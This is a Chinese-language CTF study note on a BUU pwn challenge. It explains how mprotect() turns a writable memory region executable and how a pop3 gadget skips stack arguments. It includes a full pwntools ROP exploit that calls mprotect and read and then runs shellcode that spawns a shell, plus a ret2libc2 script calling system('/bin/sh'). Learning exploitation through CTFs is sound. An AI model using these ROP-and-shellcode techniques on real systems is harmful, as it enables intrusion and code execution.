mprotect()函数

https://blog.csdn.net/elg5127/article/details/124221422
这个是csdn上的讲解

BUU-PWN题1-40 (yuque.com)
这个是语雀上的讲解

PWN疑难1-3-关于payload中栈的布置以及system的一些困惑 (yuque.com)
对于栈传参一篇写的贼好的文章

疑问点解释
1mprootect()函数修改的是那段内存空间
首先mprotect函数将一段具有可读写无执行权限的内存空间更改权限可执行
![[Pasted image 20221108161747.png]]
之后直接把恶意数据直接篡改到这里面即可
调用数据的话直接调用这里的地址即可

2pop3函数参数在栈上是如何实现的
首先给到exp看下内容
from pwn import *
elf = ELF(‘./pwn’)
sh = process(‘./pwn’)
= remote(‘node3.buuoj.cn’,27234)
pop3_ret = 0x0809e4c5
mem_addr = 0x080ea000
#可读可写的内存,但不可执行
mem_size = 0x3000
#通过调试出来的值
mem_proc = 0x7
#可代表可读可写可执行
mprotect_addr = elf.symbols[‘mprotect’]
read_addr = elf.symbols[‘read’]
payload_01 = ‘A’ * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) 这里的寄存器并非是用来传递参数而是作为返回地址来使得esp向下走12正好可以执行read函数
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)

#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令 又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取已知内存的地址内容大小
payload_01 += p32(mem_addr)

#这里就是shellcode了
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = ‘i386’, os = ‘linux’)
sh.sendline(payload_sh)
#这就是read读入的内容
sh.interactive()

这里重点看这部分
32位多参函数传参问题仍然运用寄存器传参方法
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret)
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取大小
payload_01 += p32(mem_addr)
#这里就是shellcode了

解释
1栈溢出到eip将mprotect函数地址传入eip中为main函数返回地址
2后面跟着pop3_addr作为mprotect函数返回地址在mprotect函数执行完之后进行返回
3后面跟着三个mprotect函数的参数进行修改
4过程在输入完三个参数之后将pop3作为返回地址把参数跳过也就是弄走32位程序利用栈进行传参函数之中完成mpro函数的调用
利用pop3_addr最后的ret指令将sp指针上移
从而使得ip往上走1函数调用2跳过参数
这里插入下汇编ret指令![[default 1.jfif]]
具体含义是将sp向栈的上上方移并将上面的一个地址读入栈中
5下面的read函数由于ret指令则被调用
6最后跟着shell的写入地址进行shell的调用

补充下与ret2libc2的区别
其exp:
from pwn import *

sh = process(‘./ret2libc2’)

system_addr=0x8048490

gets_addr=0x8048460

pop_addr = 0x0804872f

buf2_addr = 0x804a080

payload = flat([112*A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])

sh.sendline(payload)

sh.sendline(‘/bin/sh’)

sh.interactive()
其运用的是先构造好rop链最后往里面写参数
调用gets函数将参数跳过后面写sys的地址地址参数所在地址
之后写入/bin/sh即可
最后写的地址是参数写入的地址

这道题是shellcode执行地址